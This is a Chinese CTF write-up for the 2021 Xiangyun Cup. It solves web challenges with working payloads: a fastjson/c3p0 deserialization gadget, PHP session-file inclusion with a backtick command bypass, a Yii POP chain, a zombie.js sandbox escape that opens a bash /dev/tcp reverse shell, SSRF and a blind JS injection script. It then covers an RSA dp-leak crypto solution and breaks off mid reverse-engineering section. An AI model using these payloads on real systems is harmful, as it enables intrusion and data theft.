2021年第二届祥云杯Writeup
2021-08-25 16:07:00 # CTF

比赛详情

队伍名:人类高质量男性群体

排名:26

1

Web (ak)

web1 层层穿透

2

打开环境是 Apache Flink Dashboard

这个系统有过上传恶意 jar 包 RCE 的漏洞,github 上有现成的 RCE 工具 ,工具可以直接反弹 shell

https://github.com/LandGrey/flink-unauth-rce

3

题目提示本机内网环境 10.10.1.12,最后信息搜集得到 flag 靶机位置为 10.10.1.11,8080 端口开放之后用 frp 工具搭建端口转发设置客户端,所有配置在本地配置好后上传到服务器

4

现在自己的 服务器 上开发服务器端,再用 wget 在题目靶机的./tmp 目录下下载客户端,解压执行./frpc –c ./frpc.ini,转发成功。

5

访问 服务器 设置的端口,我这里为 ip:8085。

6

对附件 web.jar 用 jd-gui 进行反编译拿到内网 web 环境源码

6

在这里看到 fastjson 反序列化,并且有一些过滤

Github 上有现成的 payload

https://github.com/depycode/fastjson-c3p0

先登录,源码出找到账号密码 admin 123456

7

看控制器登陆逻辑,直接在/doLogin 页面 post username=admin&password=123456 即可之后在 admin/test 页面 post payload,改 content-type 为 json

Payload:

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSour ce"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAs String":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859
596B8B7340300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6 E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746
F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666
F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E667 56E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B0005694172677 37400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A61766
12F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436 C6173733B7870707400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2
E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C647
8703F4000000000000C770800000010000000017371007E000B3F4000000000000C770800000010000000017 372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E7
47261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657
249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C617 37371007E00084C00055F6E616D6571007E00074C00115F6F757470757450726F706572746965737400164C6
A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767D
B37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0 A0014005F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A0 00400680A0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A001200710700720 A007300740700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800
B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008B0A008C0
08D0A008C008E0A0012008F0A009000910A009000920A001200930A003300940700950A00120096070097010 001680100134C6A6176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A61766
12F7574696C2F486173685365743C4C6A6176612F6C616E672F4F626A6563743B3E3B010001720100274C6A6
17661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010001700100284 C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C6
96E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5
661726961626C655461626C65010004746869730100204C79736F73657269616C2F7061796C6F6164732F436 F6D6D6F6E4563686F313B01000169010015284C6A6176612F6C616E672F4F626A6563743B295A0100036F626 A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C65010016284C6A6
176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696
F6E3B010008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F010005646
57074680100014907007607004C070072010001460100017101000D6465636C617265644669656C640100194
C6A6176612F6C616E672F7265666C6563742F4669656C643B01000573746172740100016E0100114C6A61766 12F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6D6D6F6E4
563686F312E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F4861736853657
40C0034003507009A0C009B009C0C005300480C009D00440C009E00440C004300440100256A617661782F736 572766C65742F687474702F48747470536572766C6574526571756573740C009F00A00C00A100A2010003636 D640C00A300A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60
100106A6176612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F6 87474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696
F6E0100106A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD0
1000357494E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7 574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C0
0BA00BB0C00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C
80C003A00480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616 C2F7061796C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742
F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E6
72F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F546872656 1643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616 E672F436C6173733B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436 C6173733B295A010009676574486561646572010026284C6A6176612F6C616E672F537472696E673B294C6A6
176612F6C616E672F537472696E673B0100096765744D6574686F64010040284C6A6176612F6C616E672F537
472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4 D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F64010006696E766F6B65010
039284C6A6176612F6C616E672F4F626A6563743B5B4C6A6176612F6C616E672F4F626A6563743B294C6A617
6612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01000B67657450726F706 572747901000B746F55707065724361736501001428294C6A6176612F6C616E672F537472696E673B01001B2
84C6A6176612F6C616E672F4368617253657175656E63653B295A01000967657457726974657201001728294
C6A6176612F696F2F5072696E745772697465723B0100116A6176612F6C616E672F52756E74696D6501000A6 7657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B010004657865630100282 85B4C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B0100116A6 176612F6C616E672F50726F6365737301000E676574496E70757453747265616D01001728294C6A6176612F6
96F2F496E70757453747265616D3B010018284C6A6176612F696F2F496E70757453747265616D3B295601000
C75736544656C696D69746572010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F75746
96C2F5363616E6E65723B0100046E6578740100136A6176612F696F2F5072696E74577269746572010007707 2696E746C6E010015284C6A6176612F6C616E672F537472696E673B2956010005666C7573680100116765744
465636C617265644669656C647301001C28295B4C6A6176612F6C616E672F7265666C6563742F4669656C643
B01000D73657441636365737369626C65010004285A2956010003676574010026284C6A6176612F6C616E672 F4F626A6563743B294C6A6176612F6C616E672F4F626A6563743B0100076973417272617901000328295A010 00D6765745375706572636C617373010040636F6D2F73756E2F6F72672F6170616368652F78616C616E2F696
E7465726E616C2F78736C74632F72756E74696D652F41627374726163745472616E736C65740700CA0A00CB0 05F0021003300CB000000030008003400350001003600000002003700080038003900000008003A003B00000
0040001003C003D0001003E0000005C000200010000001E2AB700CC01B3000201B30003BB000459B70005B30
006B8000703B80008B100000002003F0000001A0006000000140004001500080016000C001700160018001D0 01900400000000C00010000001E004100420000000A004300440001003E0000005A000200010000001A2AC60
00DB200062AB6000999000504ACB200062AB6000A5703AC00000003003F0000001200040000001D000E001E0
01000210018002200400000000C00010000001A00450046000000470000000400020E01000A003A004800010 03E000001D300050003000000EF1B1034A3000FB20002C6000AB20003C60004B12AB8000B9A00D7B20002C70
051120C2AB6000DB6000E9900452AC0000CB30002B20002120FB900100200C7000A01B30002A7002AB20002B
6000D121103BD0012B60013B2000203BD0014B60015C00016B30003A700084D01B30002B20002C60076B2000 3C6007006BD00184D1219B8001AB6001B121CB6001D9900102C03120F532C04121E53A7000D2C03121F532C0 41220532C05B20002120FB90010020053B20003B900210100BB002259B800232CB60024B60025B700261227B 60028B60029B6002AB20003B900210100B6002BA700044DB12A1B0460B80008B100020047006600690017007
A00E200E500170003003F0000006A001A000000250012002600130028001A0029002C002A0033002B0040002
C0047002F0066003300690031006A0032006E0037007A003A007F003B008F003C0094003D009C003F00A1004 000A6004200B3004400D7004500E2004700E5004600E6004800E7004B00EE004D00400000002A0004006A000
40049004A0002007F0063004B004C0002000000EF004D00460000000000EF004E004F0001004700000022000
B1200336107005004FC002D07005109FF003E0002070052010001070050000006000A005300480001003E000 001580002000C000000842AB6000D4D2CB6002C4E2DBE360403360515051504A200652D1505323A06190604B
6002D013A0719062AB6002E3A071907B6000DB6002F9A000C19071BB80030A7002F1907C00031C000313A081
908BE360903360A150A1509A200161908150A323A0B190B1BB80030840A01A7FFE9A700053A08840501A7FF9 A2CB60032594DC7FF85B100010027006F007200170003003F0000004200100000005000050052001E0053002 4005400270056002F0058003A00590043005B0063005C0069005B006F00620072006100740052007A0065007
B00660083006800400000003E00060063000600540046000B0027004D004D00460007001E005600550056000
60000008400570046000000000084004E004F00010005007F00580059000200470000002E0008FC000507005
AFE000B07005B0101FD003107005C070052FE00110700310101F8001942070050F90001F800050001005D000
00002005E707400016170770100787400017878737200116A6176612E6C616E672E496E746567657212E2A0A 4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B0
20000787000000000787871007E000D78;"}}

打入之后提示长度太短,看源码长度必须超过 20000

8

将 payload 复制两边重新打入

9

成功命令执行 看到 flag 就在当前目录 直接 cat 拿到 flag。

10

Flag: flag{966fc4a2-e291-4136-84be-5bfd19b949e2}

web2 安全检测

输入任意账号密码登录

1

这里输入任意网站 先试试 http://www.baidu.com/点击确认成功之后可以预览,点击预览

2

预览了百度的页面,猜测 ssrf 输入 http://127.0.0.1/

3

成功预览 存在 ssrf,利用 ssrf 可以绕过 403 报错进行扫路径。扫到了 admin/include123.php,利用 ssrf 访问试试。

4

看到源码 并且存在任意文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php  
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_stat us|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_e xec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){ if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}

include($u);
show_source(__FILE__);
?>

Get 参数 u 即可包含文件,但是过滤很严格,无法直接读到 flag,尝试/etc/passwd

http://127.0.0.1/admin/include123.php?u=/etc/passwd

5

成功包含。考虑 session 文件包含,我们先从浏览器找到自己的 PHPSESSID

6

接下来包含这个文件,猜测默认目录, /tmp/sess_27a601c8ce5f70d444fc064c58a09f2b

1
http://127.0.0.1/admin/include123.php?u=/tmp/sess_27a601c8ce5f70d444fc064c58a09f2b

7

成功包含 为了写入恶意 payload 我们随便 get 一个参数 我这里用 payload

1
2
http://127.0.0.1/admin/include123.php?u=/tmp/sess_27a601c8ce5f70d444fc064c58a09f2b&payload=<?=`whoa
mi`;?>

这里有个小疑问,源码里过滤了反引号`但实际上有可以使用看看结果

8

成功命令执行

1
http://127.0.0.1/admin/include123.php?u=/tmp/sess_27a601c8ce5f70d444fc064c58a09f2b&payload=<?=`ls\t/`;?>

因为空格会导致崩溃 这里用\t 绕过

9

看到 flag 在根目录的 getflag.sh 下,flag 关键字被过滤了 *和/*通配符也被过滤,但是问号没有过滤,所以直接传入

1
2
`http://127.0.0.1/admin/include123.php?u=/tmp/sess_27a601c8ce5f70d444fc064c58a09f2b&payload=<?=`cat\t/
get???????`;?>

用问号代替文件名字符

9

Flag: flag{c3037bbf-9b98-4ffd-9ffc-eef67138cfa9}

web3 ezyii

Github 上有现成的 yii 的 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php 
namespace Codeception\Extension{ use Faker\DefaultGenerator; use GuzzleHttp\Psr7\AppendStream; class RunProcess{ protected $output; private $processes = []; public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
} }
echo base64_encode(serialize(new RunProcess()));
}

namespace Faker{ class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{ use Faker\DefaultGenerator; final class AppendStream{ private $streams = []; private $seekable = true; public function __construct(){
$this->streams[]=new CachingStream();
} }
final class CachingStream{ private $remoteStream; public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
} }
final class PumpStream{ private $source; private $size=-10; private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j'); include("closure/autoload.php"); $a = function(){system('ls /');};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}

Payload:

TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjI6e3M6OToiACoAb3V0cHV0IjtPOjIyOiJGYWtlclxEZWZhd Wx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjU6ImppYW5nIjt9czo0MzoiAENvZGVjZXB0aW9uXEV4dGVuc2lvbl xSdW5Qcm9jZXNzAHByb2Nlc3NlcyI7YToxOntpOjA7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbmVyYXRvciI6MTp7czoxMDoiACoAZ GVmYXVsdCI7TzoyODoiR3V6emxlSHR0cFxQc3I3XEFwcGVuZFN0cmVhbSI6Mjp7czozNzoiAEd1enpsZUh0dHBcUHNyN1xBcH BlbmRTdHJlYW0Ac3RyZWFtcyI7YToxOntpOjA7TzoyOToiR3V6emxlSHR0cFxQc3I3XENhY2hpbmdTdHJlYW0iOjI6e3M6NDM6I gBHdXp6bGVIdHRwXFBzcjdcQ2FjaGluZ1N0cmVhbQByZW1vdGVTdHJlYW0iO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3I iOjE6e3M6MTA6IgAqAGRlZmF1bHQiO2I6MDt9czo2OiJzdHJlYW0iO086MjY6Ikd1enpsZUh0dHBcUHNyN1xQdW1wU3RyZWFt IjozOntzOjM0OiIAR3V6emxlSHR0cFxQc3I3XFB1bXBTdHJlYW0Ac291cmNlIjtDOjMyOiJPcGlzXENsb3N1cmVcU2VyaWFsaXphY mxlQ2xvc3VyZSI6MTgzOnthOjU6e3M6MzoidXNlIjthOjA6e31zOjg6ImZ1bmN0aW9uIjtzOjI4OiJmdW5jdGlvbigpe1xzeXN0ZW0 oJ2xzIC8nKTt9IjtzOjU6InNjb3BlIjtzOjI2OiJHdXp6bGVIdHRwXFBzcjdcUHVtcFN0cmVhbSI7czo0OiJ0aGlzIjtOO3M6NDoic2VsZiI7 czozMjoiMDAwMDAwMDAyNDczOTc2YzAwMDAwMDAwMzQyYjBhMDIiO319czozMjoiAEd1enpsZUh0dHBcUHNyN1xQdW1 wU3RyZWFtAHNpemUiO2k6LTEwO3M6MzQ6IgBHdXp6bGVIdHRwXFBzcjdcUHVtcFN0cmVhbQBidWZmZXIiO086MjI6IkZha2 VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6MToiaiI7fX19fXM6Mzg6IgBHdXp6bGVIdHRwXFB zcjdcQXBwZW5kU3RyZWFtAHNlZWthYmxlIjtiOjE7fX19fQ==

1

然后把这个命令

2

改为 system(‘cat /flag.txt’)

Payload:

TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjI6e3M6OToiACoAb3V0cHV0IjtPOjIyOiJGYWtl clxEZWZhdWx0R2VuZXJhdG9yIjoxOntzOjEwOiIAKgBkZWZhdWx0IjtzOjU6ImppYW5nIjt9czo0MzoiAENvZGVjZXB0 aW9uXEV4dGVuc2lvblxSdW5Qcm9jZXNzAHByb2Nlc3NlcyI7YToxOntpOjA7TzoyMjoiRmFrZXJcRGVmYXVsdEdlbm VyYXRvciI6MTp7czoxMDoiACoAZGVmYXVsdCI7TzoyODoiR3V6emxlSHR0cFxQc3I3XEFwcGVuZFN0cmVhbSI6Mjp
7czozNzoiAEd1enpsZUh0dHBcUHNyN1xBcHBlbmRTdHJlYW0Ac3RyZWFtcyI7YToxOntpOjA7TzoyOToiR3V6emxlS
HR0cFxQc3I3XENhY2hpbmdTdHJlYW0iOjI6e3M6NDM6IgBHdXp6bGVIdHRwXFBzcjdcQ2FjaGluZ1N0cmVhbQByZ
W1vdGVTdHJlYW0iO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO2I6M
Dt9czo2OiJzdHJlYW0iO086MjY6Ikd1enpsZUh0dHBcUHNyN1xQdW1wU3RyZWFtIjozOntzOjM0OiIAR3V6emxlSHR 0cFxQc3I3XFB1bXBTdHJlYW0Ac291cmNlIjtDOjMyOiJPcGlzXENsb3N1cmVcU2VyaWFsaXphYmxlQ2xvc3VyZSI6MT kyOnthOjU6e3M6MzoidXNlIjthOjA6e31zOjg6ImZ1bmN0aW9uIjtzOjM3OiJmdW5jdGlvbigpe1xzeXN0ZW0oJ2Nhd CAvZmxhZy50eHQnKTt9IjtzOjU6InNjb3BlIjtzOjI2OiJHdXp6bGVIdHRwXFBzcjdcUHVtcFN0cmVhbSI7czo0OiJ0aGlzIj tOO3M6NDoic2VsZiI7czozMjoiMDAwMDAwMDAyZTMxMDZmZDAwMDAwMDAwMTNlYjQzZDkiO319czozMjoi AEd1enpsZUh0dHBcUHNyN1xQdW1wU3RyZWFtAHNpemUiO2k6LTEwO3M6MzQ6IgBHdXp6bGVIdHRwXFBzcjd cUHVtcFN0cmVhbQBidWZmZXIiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF 1bHQiO3M6MToiaiI7fX19fXM6Mzg6IgBHdXp6bGVIdHRwXFBzcjdcQXBwZW5kU3RyZWFtAHNlZWthYmxlIjtiOjE7f X19fQ==

3

web4 crawer_z

1

先注册账号登录看看源码

2

看到引用了 zombie 框架,谷歌一下漏洞找到了这篇

https://ha.cker.in/index.php/Article/13563

3

看看漏洞描述

4

攻击者可以在他们的页面中插入 JS 代码来利用 zombiejs 代码注入漏洞。如果使用 zombiejs 抓取此类页面,则运行爬虫的机器将运行攻击者提供的任意命令。为了比较,jsdom 默认禁用脚本执行。

也就是说我们可以让靶机访问我们自定义的恶意页面即可进行代码执行。下面有现场的 payload,我们先把 payload 提取一下

1
2
3
4
5
var codeToExec = "var sync=require('child_process').spawnSync; " + 
"var ls = sync('cat', ['./resources/test.html']); console.log(ls.output.toString());
";
var exploit = "c='constructor';require=this[c][c]('return process')().mainModule.requir e;" + codeToExec;
var attackVector = "c='constructor';this[c][c](\"" + exploit + "\")()"; console.log(attackVector)

本地控制台输出得到的 payload:

c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('cat', ['./resources/test.html']); console.log(ls.output.toString());")()

更改一下命令为反弹 shell 命令

c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()

将 payload 里面的 ip 和 port 替换成我们 服务器 的 ip 和端口。有了 payload,我们要想办法让题目访问我们的恶意页面。看一下源码。

在 user.js 下

5

看到访问/user/bucket 似乎会自动访问我们个人信息里设置的 bucket,尝试访问

6

尝试更改 bucket 设置,先看源码

7

在 checkBucket 函数下,看到 bucket 的要求,必须以 http:或者 https:为开头,且必须包含 oss-cn-beijing.ichunqiu.com,我们尝试修改前面为自己的 服务器 地址

8

点击更新

9

变回原来的了,并且提示 admin 会来检查,但在源码里看到

10

这里其实算是更改失败了,admin 不会去检查

源码里有个重定向到 /user/verify?token=${authToken},我们尝试用队伍token

11

浏览器 url 输入队伍 token

12

修改 bucket,但不要点击 update,直接在访问我们放入队伍 token 后的 url

13

提示更改成功 看到我们的 bucket 也被设置成了我们的 服务器 地址

14

再访问/user/bucket

15

回显的内容变了,报错 404,这是因为我的 服务器 上没有 oss-cn-beijing.ichunqiu.com 这个文件。

到这里思路就很清晰了,我们在 服务器 上放置一个 oss-cn-beijing.ichunqiu.com.html 恶意文件,然后修改 bucket 为 http://公网 ip 地址/oss-cn-beijing.ichunqiu.com.html

并且这个 html 文件已经被我们插入了用<script>标签包裹的恶意 payload

16

c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls= sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()

这里将 payload 的 ip 和 port 修改为 服务器 的即可我们先用刚刚的方法修改 bucket

17

修改成功

18

19

服务器开始监听

题目内访问/user/bucket

20

成功反弹 shell

21

在根目录看到一个假 flag 文件和一个 readflag 文件,cd 到跟目录 执行 ./readflag 拿到 flag

Flag: flag{4ff69fdb-57ea-4b3b-95aa-2ecb86e7207f}

web5 Secrets_Of_Admin

进去就是一个登陆框,源码给了用户名、密码,直接登就行

1629868096446.png

进去之后随便输点东西,会显示

1629868119372.png

可以猜测 pdf 就是输进去内容的显示,那么难点就是怎么得到这个 pdf 文件名 源码里提到了关于 filename 的东西:

1629868139447.png

不幸的是,这个 filename 完全是随机的,所以根本拿不到这个 pdf 继续往下看源码,这儿给了注释

1629868158427.png

显然就是要我们通过 add file 的方式去下载这个 pdf 了

1
2
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {     return next(createError(401)); 
}

这串代码会直接获取真实的请求 ip 地址,同时也指明了一条解题方向–SSRF 不过翻了半天,没找到啥注入姿势,然后又去看源码,这一处给了提示

1629868208100.png

过滤掉了 <>/script ,要明白,出题人不会无缘无故过滤东西的,肯定是有危险才会进行过滤,那 思路就可以围绕这个过滤展开了 看到上面过滤的内容,会想到 html 标签,xss 等,但我们的思路又是 SSRF,猜测是在 Content 处用 html 的标签来进行

SSRF,接着尝试了各种编码,转义,发现都会被过滤…..,然后又去谷歌上搜了下 js 绕过 includes,在这篇文章里找到了解决方案:

https://bycsec.top/2020/04/20/Nodejs 的一些技巧/

1629868269731.png

它是用数组来绕的,试下

1629868293436.png

ok 啦,成功绕过

现在绕过之后就是构造 SSRF 了,由于我们的 username、filename、checknum 都可控

1629868313449.png

并且会经过 DB.getFile

1629868334441.png

跟进 getFile

1629868355185.png

显然,可以通过控制 username、filename 和 checksum 这三个参数去查询数据库里的信息 不过还有要注意的是这儿进行了目录穿越,所以我们构造的 filename 也需要进行目录穿越:

1629868377837.png

payload:

content[]=<img%20src="http://127.0.0.1:8888/api/files?username=admin%26filename=../files/ flag%26checksum=pulse">

构造数据包:

POST /admin HTTP/1.1 
Host: eci-2zehr586mkdtfhoxt0zx.cloudeci1.ichunqiu.com:8888 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 
Accept-Encoding: gzip, deflate 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 114 
Origin: http://eci-2zehr586mkdtfhoxt0zx.cloudeci1.ichunqiu.com:8888 
Connection: close 
Referer: http://eci-2zehr586mkdtfhoxt0zx.cloudeci1.ichunqiu.com:8888/admin 
Cookie:     __jsluid_h=6ccf55deec8f56ff3faf481076e7830b; token=s%3Aj%3A%7B%22username%22%3A%22admin%22%2C%22files%22%3A%5B%5D%2C%22isAdmin%22%3Atrue%7D. F56WSi1msokS7QwqhYWcJm%2FBhe1UiZ%2FxOtKnM%2BaehVU 
Upgrade-Insecure-Requests: 1 
 
content[]=<img%20src="http://127.0.0.1:8888/api/files?username=admin%26filename=../files/ flag%26checksum=pulse">

send,然后访问/api/files/pulse,即可下载到 pdf,打开就是 flag

1629868483133.png

Flag: flag{3dd18f2d-a482-4913-8acd-0b7d50427b52]

web6 PackageManager2021

非预期可能,sql 注入出 admin 密码。正常应该是 xss 打 cookie。这里是一个 node 的 sql 注入注入点在/auth

1629869082085.png

通过不同的回显,编写 sql 注入脚本:

1
2
3
4
5
6
7
8
9
10
11
import requests reasult = "" 
url = "http://47.104.108.80:8888/auth"
cookies={"session":"s%3AE7uKKlTHygc_GmDhclfNVgaZCRR1vkE.6YLuz1yrpGf7BwLeHdL9qyor9zZqqrLuvf ZZNsRQpT4"}
for x in range(0,30):
for y in range(30,130):
data={"_csrf":"j69ZLz2C9vQRYABBPybMFsqn501VkIz9eT8","token":'aaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaa" || (this.username == "admin"&&this.password[{}] == "{}") || this.username ==
"test'.format(x,chr(y))}
response = requests.post(url,cookies=cookies, data=data) if "No matching results" in response.text:
reasult += chr(y) print reasult
break

运行脚本,跑出来 admin 用户的密码是 b!@#$d5dh47jyfz#098crw*w

1629869143785.png

访问http://47.104.108.80:8888/login使用账户 admin,密码 b!@#$d5dh47jyfz#098crw*w 登录即可获取 flag 为 flag{407bb420-7845-4722-a322-f3f11b5bf09f}

虽然这里 flag 显示不完全,但是可以直接复制即可获取完整 flag

1629869182447.png

Crypto

crypto4 Random_RSA

观察代码中给出的参数,很容易想到是 dp 泄露问题,所以我们只需要反算出 dp 的值就行,先反算得到 rands 的值

1
2
3
4
5
6
7
8
9
10
11
12
import random import binascii import os 
len_dp = 154

seeds = [4827, 9522, 552, 880, 7467, 7742, 9425, 4803, 6146, 4366, 1126, 4707, 1138, 2367, 1081, 5577, 4592, 5897, 4565, 2012, 2700, 1331, 9638, 7741, 50, 824, 8321, 7411, 6145, 1271, 7637, 5481, 8474, 2085, 2421, 590, 7733, 9427, 3278, 5361, 1284, 2280, 7001, 8573, 5494, 7431, 2765, 827, 102, 1419, 6528, 735, 5653, 109, 4158, 5877, 5975, 1527, 3027, 9776, 5263, 5211, 1293, 5976, 7759, 3268, 1893, 6546, 4684, 419, 8334, 7621, 1649, 6840, 2975, 8605, 5714, 2709, 1109, 358, 2858, 6868, 2442, 8431, 8316, 5446, 9356, 2817, 2941, 3177, 7388, 4149, 4634, 4316, 5377, 4327, 1774, 6613, 5728, 1751, 8478, 3132, 4680, 3308, 9769, 8341, 1627, 3501, 1046, 2609, 7190, 5706, 3627,
8867, 2458, 607, 642, 5436, 6355, 6326, 1481, 9887, 205, 5511, 537, 8576, 6376, 3619, 6609, 8473, 2139, 3889,
1309, 9878, 2182, 8572, 9275, 5235, 6989, 6592, 4618, 7883, 5702, 3999,
925, 2419, 7838, 3073, 488, 21, 3280, 9915, 3672, 579] res = [] for i in range(0, len_dp): random.seed(seeds[i])
rands = [] for j in range(0,4):
rands.append(random.randint(0,255)) res.append(rands)
# res.append(ord(dp[i]) ^ rands[i%4])
# del rands[i%4] # print(str(rands))
print(res)

接着用得到的 rands 值算出 dp,再将 dp 带入,算出 flag

1
2
3
4
5
6
7
8
9
10
11
12
import gmpy2 import binascii def getd(n,e,dp): for i in range(1,e): if (dp*e-1)%i == 0: if n%(((dp*e-1)/i)+1)==0: 
p=((dp*e-1)/i)+1 q=n/(((dp*e-1)/i)+1) phi = (p-1)*(q-1) d = gmpy2.invert(e,phi)%phi return d
dp=53720074261611961544056405041107366591901831940529667230760412666108931586780 92845450232508793279585163304918807656946147575280063208168816457346755227057 n=811962829926061135912336152046805976452085622793278540269813769179778436448551 80528227037752692498558370026353244981467900057157997462760732019372185955846507
97745665776012568212510430924180210885361846849146332626801645011981718136874337
6919334016359137566652069490881871670703767378496685419790016705210391

e=0x10001
c=615052562239933495344745508777876755008273328789416212614778608806897999609382 02020614342208518869582019307850789493701589309453566095881294166336673487909221
86064180962252481395928472228506975531089097225554543698908265470509890700669478
0949725756312169019688455553997031840488852954588581160550377081811151 d=getd(n,e,dp)
m=pow(c,d,n)
print(binascii.unhexlify(hex(m)[2:]))

1629869309787.png

Flag: flag{74281db3-c6f0-e59a-4da6-39b8c71250fe}

reverse

re1 勒索解密

根据标题和提示可以知道,这个 exe 应该和文件加密有关,所以我们首先要分析他如何对文件加密的,这样才能进行解密。首先先将软件丢入 IDA,进入口函数直接 F5,看看能看出点啥

1629870035298.png

这里可以猜出来,与 bmp 文件加解密可能相关,然后,就看不懂了,果断拖入 OD,结合动调分析

1629870066866.png

我们不妨猜想,他是对这个目录所有 bmp 图片进行加密,然后我根据这个目录,随便写了一个文件,运行程序后,发现生成了一个加密文件,猜想成立!

